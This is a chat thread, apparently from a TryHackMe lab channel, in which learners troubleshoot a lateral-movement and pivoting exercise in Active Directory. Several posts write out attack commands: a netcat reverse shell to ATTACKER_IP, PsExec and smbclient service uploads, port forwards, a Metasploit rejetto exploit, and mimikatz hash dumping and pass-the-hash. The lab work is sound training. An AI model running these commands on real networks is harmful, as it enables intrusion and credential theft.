creds website doesnt open . nslookup returns ip of dc but I couldn't get creds

shadow linden
carmine sinew
#

I'm stuck at beginning

shadow linden
#

can you try doing nslookup distributor.za.tryhackme.com?

shadow linden
#

that isn't right...

carmine sinew
#

what seems to be problem?

shadow linden
#

the IP you are getting is wrong. Someone probably messed with the DNS config

#

You need to reset that network through the website

carmine sinew
#

I did it

shadow linden
#

did you get the required 5 votes?

carmine sinew
#

yup. Network was resetted 10 minutes ago

shadow linden
#

I'll have a check at it then. That's very weird

carmine sinew
#

And also I cant connect to the network over my own kali machine. Vpn stuck always at resetting.

carmine sinew
shadow linden
carmine sinew
#

Hmm. okay I'll check again

heady condor
#

Anyone who have 10.200.51.X can help me restart network ? (2/5)

heady condor
#

Problem with 10.200.51.X after reset network( i can't connect to any machine)

shadow linden
shadow linden
heady condor
#

I try on my kali amd attack box after configure dns on attack box

shadow linden
#

if you can ping, then it might be an issue with your dns configuration. Can you try running nslookup thmdc.za.tryhackme.com 10.200.51.101 and send a screenshot of the output?

heady condor
shadow linden
#

alright!

heady condor
shadow linden
#

it should work

shadow linden
#

can you DM me so we can check?

heady condor
#

Problem persist after few resetart of network

carmine sinew
#

Did anyone solve task6?

thin umbra
#

Hey guys, i assume the network is no longer working

#

at least on my side

#

i can't even ping the domain controller

#

but i can ping THMJMP2

#

Is the problem only on my end or is it fo everyone ?

carmine sinew
#

I also have issue in dns

shadow linden
thin umbra
#

It is working perfectly after reset

#

Thank you !

manic plaza
#

Help

#

i can't connect VPN lateral-movement...

#

i can Solve
Replace the cipher AES-256-CBC line in your .ovpn config with data-ciphers AES-256-CBC

rose shoal
#

any idea why systemd-resolve is not found on Kali?
└─# systemd-resolve systemd-resolve: command not found

shadow linden
cosmic notch
#

vote reset plz thmjmp2 is not accepting either ssh or rdp connections

lilac kite
cosmic notch
unique sphinx
#

hihi how do it fix this?

#

i'm on ssh tunnelling

unique sphinx
#

hi anyone completed Exploiting Kerberos Delegation?

unique sphinx
#

hi anything wrong w THY

#

THM exploiting AD

#

it's v slow

#

i took a long time to get credentials

frank temple
#

does anyone encounter this when trying to rdp? [03:23:27:416] [23768:23769] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0
[03:23:27:416] [23768:23769] [WARN][com.freerdp.crypto] - CN = THMJMP2.za.tryhackme.com
[03:23:30:478] [23768:23769] [ERROR][com.winpr.timezone] - Unable to find a match for unix timezone: Canada/Eastern
[03:23:30:783] [23768:23769] [ERROR][com.freerdp.core.connection] - license connection sequence aborted.
[03:23:30:783] [23768:23769] [ERROR][com.freerdp.core.transport] - transport_check_fds: transport->ReceiveCallback() - -1
[03:23:30:784] [23768:23769] [ERROR][com.freerdp.core] - rdp_client_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[03:23:35:265] [23768:23769] [ERROR][com.winpr.timezone] - Unable to find a match for unix timezone: Canada/Eastern
[03:23:35:669] [23768:23769] [ERROR][com.freerdp.core.connection] - license connection sequence aborted.
[03:23:35:669] [23768:23769] [ERROR][com.freerdp.core.transport] - transport_check_fds: transport->ReceiveCallback() - -1
[03:23:35:669] [23768:23769] [ERROR][com.freerdp.core] - rdp_client_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[03:23:35:669] [23768:23769] [ERROR][com.freerdp.core] - freerdp_post_connect failed

shadow linden
fierce vector
#

@shadow linden Good morning, afternoon or evening. I'm facing a rather serious problem with Task #5 - Use of Alternate Authentication Material:
The User "t1_toby.beck" repeatedly refuses to show in the hashes of "thmjmp2.za.tryhackme.com" - what am I missing? Third day in a row - tried at different times... Subnet is 10.200.51.0/xx Thanks

honest steppeBOT
#

Gave +1 Rep to @shadow linden

shadow linden
#

Both problems seem to be related. A fix is on the way. I'll keep you posted on it as soon as the fix gets deployed.

fierce vector
#

Thanks in advance

fierce vector
#

Followup to this issue: Today I was able to find the hash for t1_leonard.summers - still no t1_toby.beck thoug - perform the PtH attack and the winrs command - even found the flag.exe files in t1_toby.beck and t1_leonard.summers Desktops but executing both yields - the expected - you're missing something message ...

primal flower
#

when I using t2 user credential obtained from distributor.za.tryhackme.com/creds_t2. I accept the license with xfreerdp and then, it gives me the following error - 'license connection sequence aborted.' its Lateral Movement and Pivoting task 6. How to fix it?

dense badge
#

Hi, I am facing error at task 5

#

I cannot dump bob.jenkins user's ntlm hash with sekurlsa::msv

#

only dump t2_user

fierce vector
#

Good morning - daily update: New subnet 10.200.48.0/24 - same problem as mentioned before - to top it off mimikatz.exe vanished from the C:\Tools directory on thmjmp2

feral dew
#

hi, anyone here having issue when connecting to thmjmp2?

I got this

ssh za\\tony.holland@thmjmp2.za.tryhackme.com Connection reset by 10.200.64.249 port 22

fierce vector
#

Munra said, they're working on it ... but no timeframe for the fix has been announced yet

feral dew
#

hi, anyone here having issue with this network?

i'm unable to ping dc ip and other machine ip as well, subnet is 10.200.64.0/24

dense badge
#

Hi, do you know this error anyone ?

#

─(rootγ‰Ώkali)-[/home/pentest/thm/ltmovad]
└─# xfreerdp /v:thmjmp2.za.tryhackme.com /u:t2_kelly.blake /p:8LXuPeNHZFFG
[00:57:30:972] [3305:3306] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0
[00:57:30:972] [3305:3306] [WARN][com.freerdp.crypto] - CN = THMJMP2.za.tryhackme.com
[00:57:37:616] [3305:3306] [ERROR][com.freerdp.core.connection] - license connection sequence aborted.
[00:57:37:616] [3305:3306] [ERROR][com.freerdp.core.transport] - transport_check_fds: transport->ReceiveCallback() - -1
[00:57:37:616] [3305:3306] [ERROR][com.freerdp.core] - rdp_client_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[00:57:49:883] [3305:3306] [ERROR][com.freerdp.core.connection] - license connection sequence aborted.
[00:57:49:883] [3305:3306] [ERROR][com.freerdp.core.transport] - transport_check_fds: transport->ReceiveCallback() - -1
[00:57:49:883] [3305:3306] [ERROR][com.freerdp.core] - rdp_client_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[00:57:49:883] [3305:3306] [ERROR][com.freerdp.core] - freerdp_post_connect failed

lilac orchid
#

Hello everyone πŸ™‚
I am having troubles finding any information about t1_toby.beck. I tried every attack with the different scan methods but he won't show up at all.
Any ideas?

feral dew
lilac orchid
feral dew
#

just now I tried in thmjmp2, it is there, using sekurlsa:msv. please try again. drop me a pm if you want the hash directly.

shadow linden
#

Hey everyone, this room is currently undergoing maintenance. Sorry for the issues. The problem has been escalated and a solution is on the way πŸ™‚

feral dew
honest steppeBOT
#

Gave +1 Rep to @shadow linden

shadow linden
#

There is a known issue ATM. RDP isn't working indeed

clever flume
#

Is there any indication of when the maintenance will be completed?

shadow linden
#

Sorry for the delay. The network should be up and running now

#

cc @feral dew @fierce vector @dense badge @frank temple

fierce vector
#

Thanks @shadow linden - now I was able to complete the final 3 tasks in this room!

honest steppeBOT
#

Gave +1 Rep to @shadow linden

hearty peak
#

Hello guys, I am doing from Lateral Movement and Pivoting the Spawning Processes Remotely task, and I can't upload myservice.exe via smb. Can you please help me? Terminal: # smbclient -c 'put myservice.exe' -U t1_rachael.atkinson -W ZA '//thmiis.za.tryhackme.com/admin$/' Zjqf3489
WARNING: The "syslog" option is deprecated
session setup failed: NT_STATUS_LOGON_FAILURE. I try to edit file /etc/samba/smb.conf an then restart service, but it doesnt work - Attempt #1: # sudo service samba restart
Failed to restart samba.service: Unit samba.service not found. Attempt #2: # sudo systemctl restart smbd
Failed to restart smbd.service: Unit smbd.service not found. Attempt #3: # sudo systemctl enable smb.service
Failed to enable unit: Unit file smb.service does not exist. Thanks a lot.

last geyser
last geyser
#

Hello everybody, I would like to understand on the task3 we connect by ssh on the user in my case the user is tracey.turner and after that we execute the command runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443" to use reverse shell and we are connect with tracey.turner access (because we use the argument netonly. finally we use the command sc.exe \\thmiis.za.tryhackme.com create THMservice-3249 binPath= "%windir%\myservice.exe" start= auto why in the example we execute the runas command because at the end we are already connected with tracey.turner access ? Thanks a lot

last geyser
#

Finally I understood, we need to execute the runas /netonly command because after we are connected with the TOKEN of **t1_leonard.summers ** and the next commands with sc will be executed with the t1_leonard.summers permission.

hearty peak
#

@last geyser Yes, same result: # smbclient -c 'put myservice.exe' -U t1_george.kay -W ZA '//10.200.64.201/admin$/' Jght9206
WARNING: The "syslog" option is deprecated
Connection to 10.200.64.201 failed (Error NT_STATUS_IO_TIMEOUT)

shadow linden
#

Ah I see the problem. For task 3 you are supposed to use t1_leonard.summers account

#

the one you are trying to use doesn't exist

hearty peak
hearty peak
#

@shadow linden I finally solved - when it wasn't working I watched the youtube walkthrough and guy was replacing -W ZA with -W ZA.TRYHACKME.COM. Then I revert changes and add only leonard.summers credentials and it work. So thanks man! Term: # smbclient -c 'put myservice.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever
WARNING: The "syslog" option is deprecated
putting file myservice.exe as \myservice.exe (316.3 kb/s) (average 316.3 kb/s)

honest steppeBOT
#

Gave +1 Rep to @shadow linden

shadow linden
#

Glad it works! πŸ₯³

gentle grotto
#

Can someone reset this room, cant connect to it at all :/

lilac kite
#

If anyone happens to be in the 10.200.75.x subnet, could you vote for a reset? Task 7 seems to not be creating sessions at the moment when exploiting rejetto.

lilac kite
#

I'm stuck on task 7... I'm not getting sessions from Rejetto, anyone able to help? it seems 7777 was in use, so I switched to 7575 and i'm just getting Exploit completed, but no session was created.

tulip fulcrum
#

hello

feral granite
#

Hi there.

tulip fulcrum
#

I'm doing the Task 4 "Moving Laterally Using WMI",
everything is just fine until the flag.exe.
I've seen people also struggling in this server, but no concrete answer,
any ideas ?

tulip fulcrum
#

I will try again later and confirm here afterwards

hearty peak
sour patrol
honest steppeBOT
#

Gave +1 Rep to @lilac kite

shadow linden
meager spoke
#

Zwiad β€” Today at 18:24
Heya
I m doing the Lateral Movement Network. Got into the IIS machine but when the Flag.exe is ran , it displays: Sorry! You're still missing something, no flag for you yet (7)
my guess is that I didn't auth properly against the DC with /netonly
because that's the only thing I could've f'ed up without knowing about it. Having said this, I have no idea how to do that properly and yes I did complete the adenum network before this one
Could sb give me a nudge or something pretty please?
Also, say in case that nc64.exe wasn't available , can we just upload the bin ourselves? Like precompiled socat one for example? Having nc installed like that seems all too convenient
Zwiad β€” Today at 18:36
Oh and I decided to use a cmd reverse shell instead of meterpreter. I don't like relying on metasploit :D

In the meantime I will just download the .exe and dig around, maybe I will find a flag in it like this LMFAO

#

Okay nevermind I m forgot how to transfer files over from that to my VMbox machine. Gonna wait for sb to tell me what I m doing wrong. :D

shadow linden
meager spoke
meager spoke
#

so? no dice ?

meager spoke
#

oh you're one of the creators lol. Cool

shadow linden
# meager spoke Task 3

Hey there, sorry for the late response. I was a bit disconnected throughout the weekend. The error you are getting is related to your shell process being spawned in a different way than expected. Are you following the guide as-is, or doing some variations to it?

meager spoke
#

This maybe?

#

aside from that not really

#

and yes I m using the exe-service format

#

But aside from that I use sc.exe as shown no other variations lol

shadow linden
#

Ah I see. The flag checker is actually looking for some evidence that you completed the task. As you may guess, building a "generic" checker that accounts for all possible variations is quite hard, so in this case the check that is failing is actually the last one, and might be bound to the way meterpreter starts. I'd suggest you use the proposed method in this case for the moment.

pine smelt
#

hi

#

the room beginning requires connecting to the lateral movement ovpn

#

but when i check my access

#

i didn't see it

#

@shadow linden

shadow linden
#

if that doesn't work, let me know

pine smelt
shadow linden
pine smelt
#

Alright let me send the screenshot

summer flower
#

can someone please hit the reset if ur on 10.200.19.*

ocean locust
#

Guys, I'm unable to access the network

#

Not via local machine and not via Attack Box too

molten warren
#

I never follow the full instructions they set in the first task. On my local machine, all I do is open up /etc/resolv.conf and comment out my VMWare's nameserver IP and add an additional nameserver for the IP of the DC for the room. Works perfectly. If I need internet access outside of their network, that's what my Host is for. Easy copy/paste. And if I need to update a tool/download a new tool, I just disconnect from the VPN quick, change which nameserver is commented out, and then download/update the tool. Then revert back to how it was before and reconnect the vpn.

EDIT: fixed a typo for resolve.conf to be corrected to the actual name /etc/resolv.conf

shadow linden
ocean locust
molten scaffold
#

why lateral.ovpn can't connect?

ocean locust
shadow linden
#

it should look like 10.200.x.101

molten scaffold
#

Is lateralmovementandpivoting .ovpn ok? i can't connect to it ,but i can connect to other ovpn like ADenumerate.ovpn.

#

@shadow linden

shadow linden
molten scaffold
#

i have try regenerate it.

#

Maybe this vpn'ip is blocked by GFW?

#

@shadow linden

shadow linden
#

That may also be the case. If you want to, feel free to DM me and we can run a couple of checks

ocean locust
#

Did that, still inaccessible @shadow linden

#

Restarted network manager too

shadow linden
molten warren
# ocean locust Even this didn't work for me 😦

What is the output of your /etc/resolv.conf file? Blur out or take out/delete out your VM's nameserver IP when you post it so you don't expose that (just to be safe).

Your resolv.conf file should look like this:

Generated by NetworkManager

search localdomain
nameserver [your local nameserver IP here - mine is given to me by VMWare]

You need to modify it to be like this:

Generated by NetworkManager

search localdomain
#nameserver [your local nameserver IP here - mine is given to me by VMWare]
nameserver 10.200.*.101 (fill in the dot with whatever your room says the DC is)

Doing this doesn't work for you? Is your VM set to NAT? You're correctly connected via the lateralmovement.ovpn file that you generated? And sorry, I edited my comment here. I misspelled the resolv file as resolve.conf. It's just resolv.conf. If you did it exactly how I mentioned before, you probably just created a new file at /etc/resolve.conf, which doesn't work for anything. Sorry about that. My bad! Stupid typos get you every time. The proper spelling of the file is resolv.conf.

EDIT: and hey, maybe the better option is to just absolutely leave the room and load up into a different 10.200.*.101 environment. I just had a similar issue with exploitingad. Only thing that worked for me to resolve it was to leave the room and join a new *.101 (moving from .60.101 to .79.101). Now it's working just like normal.

shadow linden
# ocean locust Here you go

In this case, the server is down. Be sure to check if the network has been started from the website. If it shows as "running", then the network might need a reset.

#

oh and there seems to be a typo in your IP

#

in the command it reads 10.200.28.101 instead of 10.200.48.101 which is what you had in some images before this one

ocean locust
shadow linden
# ocean locust Argh shoottt. Now nslookup works as expected but still I am not able to navigate...

if nslookup works, then the DNS server is up and running,. I'd go with what dekker proposed and just edit /etc/resolv.conf to point to THMDC's IP address. If your browser still doesn't load the website, it may be related to cache preventing you to do so. Instead of using your browser, do a curl http://distributor.za.tryhackme.com/creds and that should output some HTML if your DNS is correctly set up. It that works, just close and reopen your browser to avoid any caching and it should work at last

ocean locust
#

Here you go

#

I also reset the network, yet unable to reach the abovementioned link

dense saffron
#

i can connect to the ovpn but having trouble setting up the DNS part (after connecting) with /etc/resolv.conf

dense saffron
#

@ocean locust im having the same problem

ocean locust
#

Yeah I mean, I don't know what do at this point. Completely hopeless @dense saffron

dense saffron
#

wanna vc?

shadow linden
# dense saffron

In your case, the DNS is actually set up. if you pop up a browser it should work.

#

it may not be clear since nslookup tells you that resolution is failing, but this is a behaviour specific to nslookup in the current network setup. Your navigator should work without a problem

shadow linden
#

Here's what I get with the exact same steps

shadow linden
# ocean locust Here you go

I can't really say what may be happening for you, but I'll send you an invite so you can DM me and we can do some further checking if you want πŸ™‚

#

Now that I re-read your resolv.conf, if you have an additional nameserver before THMDC (which I believe you have in the blurred part of your image), that one takes priority and most programs like curl will fail. Be sure that the first DNS server in your resolv.conf is THMDC, or else it won't work

#

Here's what I get if I switch the order of the DNS server in my resolv.conf:

#

looks like that may be it

dense saffron
#

@shadow linden so im in ...but cant use smbclient to put that service-exe in...

dense saffron
#

nvm...sometimes im too autistic for my own good lol

ocean locust
#

Ie, created by NetworkManager

molten warren
young merlin
#

HELLO

ocean locust
#

Please help

wraith forge
marsh sand
#

can we reset reset the network in the subnet 10.200.51.X? seems there is a problem with DNS there
i cant connect neither on the attack box nor on my VM

shadow linden
fiery tundra
#

guys anyone free to talk about Task 3 Spawning Processes Remotely

#

just a couple of questions

#

||why are we using a netcat? I mean Its very unlikely to find and know the location of nc on windwos. If its just for task why not make us upload it by ourselves using smb and calling it using smbpath in runas, that would've made much more sense right?

why are we using THMJMP2 to use runas? cant we just do that by SSHing into t1_leonard.summers@THMIIS? well ofcourse it might be to prove the point that we cant have ssh all the time but it is a possibility right?||

fiery tundra
#

||ofcourse you actually dont need to use runas at all if you can ssh into the leonard.summers account but here you can't access the flag if you dont do the pvioting||
||also why are using services to spawn a shell? just to get nt authority shell?||

sullen raptor
fiery tundra
#

Can i tag room creator?

#

What is his @

shadow linden
#

That's a lot of questions. So here it goes:

  1. why are we using a netcat?
    nc is present on the machines to avoid you from having to upload it many times, as we need it in several points of the room. The idea is, indeed, that you can somehow upload it there (using smbclient, ssh or any other method available)

  2. why are we using THMJMP2 to use runas?
    Since this is a red teaming scenario, the idea is that you somehow got access to a single host (it could be by a phishing campaign or some other method), and you have to run any commands from there usually. While there's no real restriction on using SSH to log into other machines and running commands directly, the assumption is that any logins are being logged and reviewed by the blue team (the enemy). This is why it is important having several ways of running commands remotely, as some methods might be less obvious for an untrained blue team.

  3. why are using services to spawn a shell?
    Again, to try and avoid being detected by using non-conventional methods of doing stuff

#

Hopefully that helps

#

Now keep in mind that you are not guaranteed to avoid detection by using these methods. All of them should be well known by any decent blue team. However, having as many methods in your arsenal as possible will help you when tackling different scenarios. There will be networks hardened to avoid such things as services sending remote commands, and there will be networks where the blue team might just disregard a service doing funny things

#

c.c. @fiery tundra @sullen raptor

sullen raptor
honest steppeBOT
#

Gave +1 Rep to @shadow linden

fiery tundra
honest steppeBOT
#

Gave +1 Rep to @shadow linden

silk sable
#

Hey all, I’m on Task 5 and have used PTH and PTK to get a cmd running with the injected ticket of t1_toby_beck. However, I am struggling to get the winrs command to work, it says β€œthe username or password is incorrect”.

Does this mean that my original hashes are incorrect?

shadow linden
dreamy gazelle
#

For Task 3, when executing Netcat using the supplied "runas" command, upon receiving a shell when I type in "whoami", it still reads back NOT as leonard.summers, but as the user I was executing the runas command with. Is this the intended result? I ask the question because "Flag.exe" displays an error message

#

it makes me think that despite running the netcat command as "leonard.summers" using the supplied command, it in fact did not run the command as Leonard

silk sable
#

Can someone please reset the password for t1_leonard.summers back to EZpass4ever

fiery tundra
#

Task 7 Port Forwarding
is it possible to do Rejetto HFS task with socat? @shadow linden
if yes I tried this on THMJMP2
socat TCP4-LISTEN:8080,fork TCP4:THMDC.za.tryhackme.com:80
socat TCP4-LISTEN:4444,fork TCP4:My_lateral_IP:4444
socat TCP4-LISTEN:5555,fork TCP4:My_lateral_IP:5555

and did as mentioned in the picture on my attack machine. I have no idea why it didnt work first time and worked on second time. after that i tried again a couple of times its just keep failing.

am i doing it right?

fiery tundra
#

I was trying to change the srvhost bit accidentally changed LHOST ofcourse it went to default. The main difference is the URL

shadow linden
#

The reason it doesn't work on further attempts is probably related to ReverseListenerBindAddress not being correctly set

shadow linden
# dreamy gazelle For Task 3, when executing Netcat using the supplied "runas" command, upon recei...

If I remember well, you will still get your original user from whoami instead of t1_leonard_summers. The reason for this is that the credentials are loaded in memory, but not checked against the AD, so the account might not even exist. When you do sc.exe from that console, if your credentials are wrong, then you will get an error. If no error is shown, your credentials should be right. Can you copy/paste the error you are getting from flag.exe? there should be a number at the end of the error msg.

dreamy gazelle
#

the number was "7"

dreamy gazelle
shadow linden
#

if you use another, the flag checker might get confused

dreamy gazelle
#

yes, I tried that as well as a few other ones to see if that was the issue. All of them were executed from the AttackerBox which uses MSF5

shadow linden
#

that's weird... Let me try to replicate it

#

It works for me

#

be sure to run flag.exe from the reverse shell you get on the metasploit handler

#

not the nc one

#

and just to confirm, this is the result of whoami in the runas console:

#

so it doesn't show you leonard summers

#

oh, and if you run whoami on the reverse shell that the service spawned, you should get SYSTEM

dreamy gazelle
honest steppeBOT
#

Gave +1 Rep to @shadow linden

little kernel
#

Hello,

I'm stuck on task3, whenever I try to nc from THMJMP2 to my attack machine the spawned cmd is using the wrong account (the one generated by Credential Provider web page instead of t1_leonard.summers)
I can proceed to create the service and start it but the rev shell will say that the session is not valid.
Is there something that I'm missing?

little kernel
# little kernel

When I try to run runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443" it's going to run it as the unpriviledged user

little kernel
stable eagle
#

Task 7 - Rejetto flag.... having an issue. I can see the app on thmdc... but getting "Exploit Completed, but no session was created."

stable eagle
#

Well I'm an idiot... I was creating my ssh tunnels from thmiis, not thmjmp2

delicate reef
#

I can't connect to the machine

#

Is someone else having the same problem now?

weary torrent
#

Can confirm that Task3, if a meterpreter payload is used (accidentally cough πŸ˜‰ , flag.exe does not produce the flag. That's pretty neat. I wonder how 'it' knows.

weary torrent
#

I've had to do IP address only stuff at the moment. DNS resolves properly from thmjmp2 however.

delicate reef
delicate reef
#

I'll just do another room and see if it is fixed in a few hours

weary torrent
#

ok - yeah I'm on 10.200.19.x

weary torrent
#

TiL - after today's reset, executing psexec64.exe as Leonard Summers from an SSH prompt 'hangs'. The initial EULA popup was the culprit. I will now include -accepteula as a command line parameter no matter what.

golden brook
# delicate reef I can't connect to the machine

Happening to me this morning. Network is "Running" but I cannot ping the THMDC. This happened to me in Enumerating-AD. It eventually corrected itself in that situation. I expect its something with the AWS infrastructure.

#

Restarted attackbox and I can now Ping.

potent meteor
# golden brook Happening to me this morning. Network is "Running" but I cannot ping the THMDC. ...

Experienced the same issue this morning. I still have some strange network behavior on this box, OpenVPN gets disconnected very often (works just fine on other boxes), Also the accesses to thmjmp2 are not working as expected (from the attackbox) after having obtained credentials, getting connection-reset issues

ssh za\\grace.brooks@thmjmp2.za.tryhackme.com
Connection reset by 10.200.51.249 port 22
delicate reef
#

Why do we get a shell as nt authority\system after Invoking the .msi installer if we are executing it as t1_corine.waters administrator? Shouldn't we get a shell as t1_corine.waters

weary torrent
full drum
shadow linden
# weary torrent I wondered that myself. Noticed it when I installed the payload for the 'service...

By default, any service you create will run as SYSTEM, unless you specify otherwise. You can take a look at the obj parameter of sc.exe create in case you want to force a service to run as any other account: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-create

weary torrent
delicate reef
full drum
delicate reef
#

I'll have to do it again to check if it has the registry keys set

delicate reef
shadow linden
#

What that registry entry does is allow a non-admin user to install packages as SYSTEM. In your case, you are already an admin (t1_corine.waters), so you can always install a package with SYSTEM privileges.

delicate reef
shadow linden
#

yes, in many ways

delicate reef
honest steppeBOT
#

Gave +1 Rep to @shadow linden

shadow linden
#

you can abuse services, msi, task scheduling and some other methods

delicate reef
#

I just completed the room, the last pivoting challenge was hard to grasp

#

I think I understand it but I'll probably need to make a diagram to have a clear picture

toxic parrot
#

In Task 3, how to do it with PsExec? I tried with

CKME.COM\t1_leonard.summers -p "EZpass4ever" -i cmd.exe ``` 
and i get:
Couldn't access thmiis.za.tryhackme.com:                                        
The specified network name is no longer available.  
And when i use the ip instead, i get access denied.
weary torrent
delicate reef
delicate reef
honest steppeBOT
#

Gave +1 Rep to @delicate reef

toxic parrot
# delicate reef You could try to spawn a shell as t1_leonard.summers a execute the psexec comman...

I tried both now and both don't work.

za\henry.bird@THMJMP2 c:\tools>PsExec64.exe \\thmiis.za.tryhackme.com -u ZA.TRYH
ACKME.COM\t1_leonard.summers -p "EZpass4ever" -i cmd.exe                        

PsExec v2.34 - Execute processes remotely                                       
Copyright (C) 2001-2021 Mark Russinovich                                        
Sysinternals - www.sysinternals.com                                             

Could not start PSEXESVC service on thmiis.za.tryhackme.com:                    
Access is denied.                                      ```

and from that nc shell i get:

Microsoft Windows [Version 10.0.17763.1098]Connecting to thmiis.za.tryhackme.comStarting cmd.exe on thmiis.za.tryhackme.com...yhackme.com...
cmd.exe exited on thmiis.za.tryhackme.com with error code 0.

shadow linden
#

If you want to get a usable shell from there, you could try PsExec64.exe \\thmiis.za.tryhackme.com -u ZA.TRYHACKME.COM\t1_leonard.summers -p "EZpass4ever" -i "C:\tools\nc64.exe -e cmd.exe ATTACKER_IP 1234" and receive the shell using a new nc listener on port 1234

#

In case you are wondering why you can't just run psexec from your ssh console and have to do that extra step pointed by David, it seems psexec will try to run the service it installs on the remote host with your current session's credentials instead of the ones provided with -u/-p

toxic parrot
#

I got the shell with runas like David said. But it is still not working

weary torrent
toxic parrot
#

i had another tab open with nc -lvp 1234 that didn't get the connection

reef plaza
#

This "Connection reset by 10.200.51.249 port 22" problem when trying to SSH to thmjmp2 seems to be an on-going problem.
Pretty annoying to waste a bunch of time troubleshooting this...

Has anyone found a workaround?

shadow linden
minor helm
#

what the hell?

#

why I can't see the flag for Task 5

#

Nevermind I got it

toxic parrot
#

How did you solve it @minor helm ?

#

I have the same problem. I try using winrm and i get connected to thmiis.za.tryhackme.com as t1_leonard.summers but it won't show me

minor helm
#

what task are you in tho

toxic parrot
#

It's Task 3

minor helm
#

Ohh I see..I'm done on task 5 now

#

Have you tried other methods

#

I'll get back to you tomorrow since it is currently midnight now and I'm gonna get some sleep.

#

What I suggest is redoing some of the methods taught tho

toxic parrot
#

Yes, i am already done with the room. Just want to try out the other methods but so far nothing works ^^

minor helm
#

got the samw prob on task5 earlier with that

#

I just tried others and voila got the flag

#

dont know why it is showing that message

toxic parrot
#

Me neither. Would love to find out though.

minor helm
#

Yep..That seems a little bit unknown to me lol

shadow linden
reef plaza
#

Trying to replicate Task3 > PsExec in this room, but when I run PsExec the command seems to hang and does not complete.
CMD: psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe

Also, it is unclear to me which remote MACHINE_IP I should be running the PsExec command against.
I have tried all the IP Address in the LAN (10.200.51.101, 249, and 201) and the command just hangs.

Any help would be greatly appreciated.

shadow linden
#

while the "let's get to work" sections only showcase a single method, you can use the same credentials and targets to practice the rest of the methods if you want. Most if not all methods presented should be possible to use in the network.

#

so for task 3 you should be able to use t1_leonard.summers and the provided password against thmiis

sullen crow
#

the network seem to be down...

#

was able to access 5 mins ago..

fringe salmon
#

Hello, in the lateral movement and pivoting room the thmiis machine does not work.

#

I did not have a question, you have a technical error, because the machine is not even pinged. Could you tell that to the administration?

#

The error is that the machine does not work...

#

Not even a ping.

cunning sentinel
#

ok

fringe salmon
#

Neither from the attackbox machine nor through a vpn connection.

cunning sentinel
#

are you using a vm or the attack box( mainly)

#

in order to connect to the network you need to download its specific vpn from the access page

fringe salmon
#

I use both

cunning sentinel
fringe salmon
#

I know, I downloaded the connection, the domain controller and other machines work

#

I kown

#

I did.

feral granite
fringe salmon
#

It's not my fault.

#

I use a windows machine to connect to the vpn.

feral granite
#

Is it your host?

fringe salmon
#

But the thmiis machine is not even pinged from the attackbox machine

feral granite
#

Maybe they use their windows host

cunning sentinel
#

they?

fringe salmon
#

Man, I have already connected by all possible methods, but the ping to the machine still does not go.

feral granite
fringe salmon
#

Please try it yourself. Connect to vpn and try to ping thmiis machine

feral granite
#

I can't even see the room, I'm not a sub.

cunning sentinel
#

miha

#

youre already connected on thmjmp2 right?

fringe salmon
#

yes

feral granite
#

Are you on their subnet?

#

they could be on a different subnet.

feral granite
#

It's the third octet on the THMDC.

#

My guess is either the network is on, or the nameserver is wrong

fringe salmon
#

10.200.71.201

cunning sentinel
#

i wonder how is that the ssh connection on jmp2 suceeded but thmiis dont

#

i mean

#

if one machine is working then all of them should

fringe salmon
#

And it doesn't work, it's not even pinged.

#

I'm connected to vpn, all machines except 1 work, it's not me who has the error.

#

71 subnet

cunning sentinel
#

screenshot

fringe salmon
#

Let me make a video so you can finally understand me

reef plaza
#

I am trying to do Task5 using the Pass-the-Ticket (PTT) method.

  • But, when run sekurlsa::tickets /export from Mimikatz on JMP2, I do NOT get any tickets for t1_toby.beck (without any numbers at the end) only two for t1_toby.beck4 and t1_toby.beck5
  • I tried PTT with t1_toby.beck4 and got to THMIIS but am NOT able to run the flag.exe
  • Watched @dull crystal's video (thank you!) and saw he does get a ticket for t1_toby.beck (without any numbers at the end).
  • Am I missing something for the PTT method?
dull crystal
honest steppeBOT
#

Gave +1 Rep to @reef plaza

spark sigil
#

Guys I am on task3 but THMIIS seems not working when I try to ping it from JMP host and also using Psexec

static skiff
#

Hi all,
is any one managed to go through the last task namely Task 7 Port Forwarding
the exploit dosen't work though ssh forwarding seems to be good and working

#

i'am stuck on this last task 😒

#

here what i got :
msf6 exploit(windows/http/rejetto_hfs_exec) > run

[] Started reverse TCP handler on 127.0.0.1:7878
[
] Using URL: http://THMJMP2.za.tryhackme.com:7676/xuLbqQSh69Y
[] Server started.
[
] Sending a malicious request to /
[] Server stopped.
[!] This exploit may require manual cleanup of '%TEMP%\IQyXlaLtsjH.vbs' on the target
[
] Exploit completed, but no session was created.

#

the cmd used on pivot machine to make local & remote port forwarding :
ssh MyUser@myIP -R 80:THMIIS.za.tryhackme.com:80 -L *:7676:127.0.0.1:7676 -L *:7878:127.0.0.1:7878 -N

#

the exploit run with metasploit :
sudo msfconsole -x "use exploit/windows/http/rejetto_hfs_exec ; set PAYLOAD windows/shell_reverse_tcp ; set LHOST THMJMP2.za.tryhackme.com ; set ReverseListenerBindAddress 127.0.0.1 ; set LPORT 7878 ; set srvhost 127.0.0.1 ; set srvport 7676 ; set RHOST 127.0.0.1 ; set RPORT 80 ; run"

#

i perform all those cmd on AttackBox as well as on my own machine, same outcome !

#

Please help πŸ™πŸ˜Š

shadow linden
#

rejetto is on THMDC πŸ™‚

static skiff
honest steppeBOT
#

Gave +1 Rep to @shadow linden

spark sigil
#

@shadow linden I am trying to reach THMIIS from JMPHOST but it doesn't work
I think its bugged or something

#

Iam in task 3

#

I tried to use meterpreter service reverse shell and psexec but not working, cannot reach it

#

@rose kernel

cunning gate
shadow linden
shadow linden
#

